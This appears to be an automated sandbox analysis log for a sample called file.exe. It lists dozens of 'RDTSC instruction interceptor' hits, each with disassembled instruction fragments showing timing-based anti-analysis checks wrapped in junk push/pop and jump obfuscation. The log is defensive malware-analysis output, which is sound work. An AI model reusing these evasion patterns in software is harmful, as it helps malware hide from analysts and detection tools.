Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3EC3B second address: B3EC5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBD19A02Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e jmp 00007FDDBD19A02Ah 0x00000013 push eax 0x00000014 push edx 0x00000015 push edx 0x00000016 pop edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3EC5C second address: B3EC60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B44C75 second address: B44C89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jg 00007FDDBD19A026h 0x0000000c pop esi 0x0000000d popad 0x0000000e push edx 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4553E second address: B45542 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B45696 second address: B4569B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4569B second address: B456CF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDDBCB6A6CEh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDDBCB6A6D6h 0x00000011 jnc 00007FDDBCB6A6CAh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B456CF second address: B456DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FDDBD19A026h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B456DB second address: B456DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B456DF second address: B456E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4583D second address: B45843 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B45843 second address: B45847 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B45847 second address: B4584D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4584D second address: B458A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pushad 0x00000008 pushad 0x00000009 jmp 00007FDDBD19A031h 0x0000000e jnl 00007FDDBD19A026h 0x00000014 jmp 00007FDDBD19A037h 0x00000019 popad 0x0000001a push esi 0x0000001b jmp 00007FDDBD19A039h 0x00000020 pop esi 0x00000021 push ecx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B458A3 second address: B458A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B45B6B second address: B45B78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jg 00007FDDBD19A026h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B45B78 second address: B45B93 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FDDBCB6A6CFh 0x00000008 pop edx 0x00000009 jl 00007FDDBCB6A6CCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B45B93 second address: B45BCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDDBD19A02Eh 0x0000000d pushad 0x0000000e jmp 00007FDDBD19A02Ch 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007FDDBD19A036h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B45BCF second address: B45BD9 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDDBCB6A6CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B45D1A second address: B45D1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B45D1E second address: B45D24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B45D24 second address: B45D6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007FDDBD19A02Ch 0x0000000c push esi 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pop esi 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jmp 00007FDDBD19A02Ch 0x0000001b jmp 00007FDDBD19A031h 0x00000020 jp 00007FDDBD19A026h 0x00000026 popad 0x00000027 jbe 00007FDDBD19A028h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B45F09 second address: B45F1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FDDBCB6A6C6h 0x0000000a push edi 0x0000000b pop edi 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B45F1B second address: B45F23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B45F23 second address: B45F2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4E6F9 second address: B4E70C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDBD19A02Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4E70C second address: B4E738 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBCB6A6D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d jmp 00007FDDBCB6A6D3h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4E738 second address: B4E776 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FDDBD19A026h 0x00000008 jmp 00007FDDBD19A030h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 jl 00007FDDBD19A047h 0x00000017 je 00007FDDBD19A028h 0x0000001d push esi 0x0000001e pop esi 0x0000001f pushad 0x00000020 pushad 0x00000021 popad 0x00000022 jmp 00007FDDBD19A02Dh 0x00000027 push ebx 0x00000028 pop ebx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADAD91 second address: ADAD9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADAD9C second address: ADADA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1E70E second address: B1E712 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1E712 second address: AFF85A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBD19A034h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov ecx, dword ptr [ebp+122D2EEBh] 0x00000012 lea eax, dword ptr [ebp+1248E4A7h] 0x00000018 pushad 0x00000019 mov dword ptr [ebp+122D3BB2h], edx 0x0000001f pushad 0x00000020 jp 00007FDDBD19A026h 0x00000026 mov ah, bh 0x00000028 popad 0x00000029 popad 0x0000002a nop 0x0000002b jmp 00007FDDBD19A031h 0x00000030 push eax 0x00000031 push esi 0x00000032 push edi 0x00000033 jnc 00007FDDBD19A026h 0x00000039 pop edi 0x0000003a pop esi 0x0000003b nop 0x0000003c or dword ptr [ebp+12452D41h], edi 0x00000042 jnc 00007FDDBD19A02Ah 0x00000048 call dword ptr [ebp+122D3C9Bh] 0x0000004e jne 00007FDDBD19A055h 0x00000054 pushad 0x00000055 push edi 0x00000056 push ebx 0x00000057 pop ebx 0x00000058 push ecx 0x00000059 pop ecx 0x0000005a pop edi 0x0000005b je 00007FDDBD19A02Ch 0x00000061 jnc 00007FDDBD19A026h 0x00000067 push ecx 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1E800 second address: B1E804 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1E804 second address: B1E80D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1E911 second address: B1E924 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FDDBCB6A6C6h 0x0000000a popad 0x0000000b jo 00007FDDBCB6A6CCh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1EBD3 second address: B1EBD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1ECCC second address: B1ECD1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1ED62 second address: B1ED67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1ED67 second address: B1ED6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1ED6C second address: B1ED97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FDDBD19A026h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f jmp 00007FDDBD19A033h 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1ED97 second address: B1EDA1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1EDA1 second address: B1EDA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1EFA7 second address: B1EFD7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBCB6A6D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 jng 00007FDDBCB6A6D8h 0x0000001a push eax 0x0000001b push edx 0x0000001c push esi 0x0000001d pop esi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1EFD7 second address: B1EFFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBD19A02Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007FDDBD19A02Bh 0x00000013 jne 00007FDDBD19A026h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1EFFC second address: B1F018 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FDDBCB6A6C6h 0x00000009 jnl 00007FDDBCB6A6C6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push ebx 0x00000019 push edi 0x0000001a pop edi 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1F67A second address: B1F67F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1F67F second address: B1F685 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1F685 second address: B1F689 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1F689 second address: B1F6DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBCB6A6D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e mov ecx, edx 0x00000010 push 0000001Eh 0x00000012 push 00000000h 0x00000014 push edi 0x00000015 call 00007FDDBCB6A6C8h 0x0000001a pop edi 0x0000001b mov dword ptr [esp+04h], edi 0x0000001f add dword ptr [esp+04h], 0000001Dh 0x00000027 inc edi 0x00000028 push edi 0x00000029 ret 0x0000002a pop edi 0x0000002b ret 0x0000002c push eax 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1F6DA second address: B1F6DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1F6DE second address: B1F6E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1F6E2 second address: B1F6E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1F9C0 second address: B1F9C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1F9C7 second address: B1F9F1 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FDDBD19A030h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c js 00007FDDBD19A02Ch 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c pushad 0x0000001d push esi 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1F9F1 second address: B1F9FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1F9FA second address: B1F9FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B003BF second address: B003D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDBCB6A6D3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4D85A second address: B4D873 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDBD19A02Eh 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4D873 second address: B4D87F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007FDDBCB6A6C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4D87F second address: B4D888 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4D99B second address: B4D99F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4D99F second address: B4D9A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4D9A3 second address: B4D9B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FDDBCB6A6C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4DADA second address: B4DAF8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jne 00007FDDBD19A026h 0x00000009 pushad 0x0000000a popad 0x0000000b pop ebx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDDBD19A02Eh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4DAF8 second address: B4DAFD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4DF6D second address: B4DF71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4DF71 second address: B4DF75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4DF75 second address: B4DFA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FDDBD19A026h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FDDBD19A039h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jnp 00007FDDBD19A026h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4DFA5 second address: B4DFBD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBCB6A6D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4DFBD second address: B4DFD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007FDDBD19A034h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4E153 second address: B4E184 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDBCB6A6D4h 0x00000009 pop edx 0x0000000a pushad 0x0000000b jno 00007FDDBCB6A6C6h 0x00000011 push edi 0x00000012 pop edi 0x00000013 jmp 00007FDDBCB6A6CEh 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4E184 second address: B4E190 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FDDBD19A026h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4E190 second address: B4E194 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B003A0 second address: B003BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDBD19A035h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B557E6 second address: B55823 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDBCB6A6D1h 0x00000007 jmp 00007FDDBCB6A6CBh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f pushad 0x00000010 popad 0x00000011 jno 00007FDDBCB6A6C6h 0x00000017 pop ebx 0x00000018 jl 00007FDDBCB6A6C8h 0x0000001e push edi 0x0000001f pop edi 0x00000020 popad 0x00000021 jbe 00007FDDBCB6A6DAh 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B55823 second address: B55827 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B55E88 second address: B55ED1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDBCB6A6CDh 0x00000009 pop ecx 0x0000000a jmp 00007FDDBCB6A6CAh 0x0000000f jmp 00007FDDBCB6A6D3h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FDDBCB6A6D8h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5600E second address: B56013 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B56172 second address: B5617C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FDDBCB6A6C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B562C5 second address: B562CF instructions: 0x00000000 rdtsc 0x00000002 je 00007FDDBD19A026h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B562CF second address: B562E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDDBCB6A6D1h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B562E6 second address: B562F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FDDBD19A026h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B56475 second address: B56481 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B56481 second address: B564A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push edi 0x0000000c jnl 00007FDDBD19A026h 0x00000012 pop edi 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FDDBD19A032h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B56774 second address: B56778 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B56778 second address: B5679B instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDDBD19A026h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDDBD19A02Dh 0x00000013 jnl 00007FDDBD19A028h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5D57B second address: B5D581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5D581 second address: B5D58D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FDDBD19A026h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5D58D second address: B5D597 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDDBCB6A6C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5C50D second address: B5C558 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FDDBD19A026h 0x0000000a jnp 00007FDDBD19A026h 0x00000010 jmp 00007FDDBD19A02Ch 0x00000015 popad 0x00000016 jmp 00007FDDBD19A02Eh 0x0000001b popad 0x0000001c push ecx 0x0000001d pushad 0x0000001e jmp 00007FDDBD19A039h 0x00000023 pushad 0x00000024 popad 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
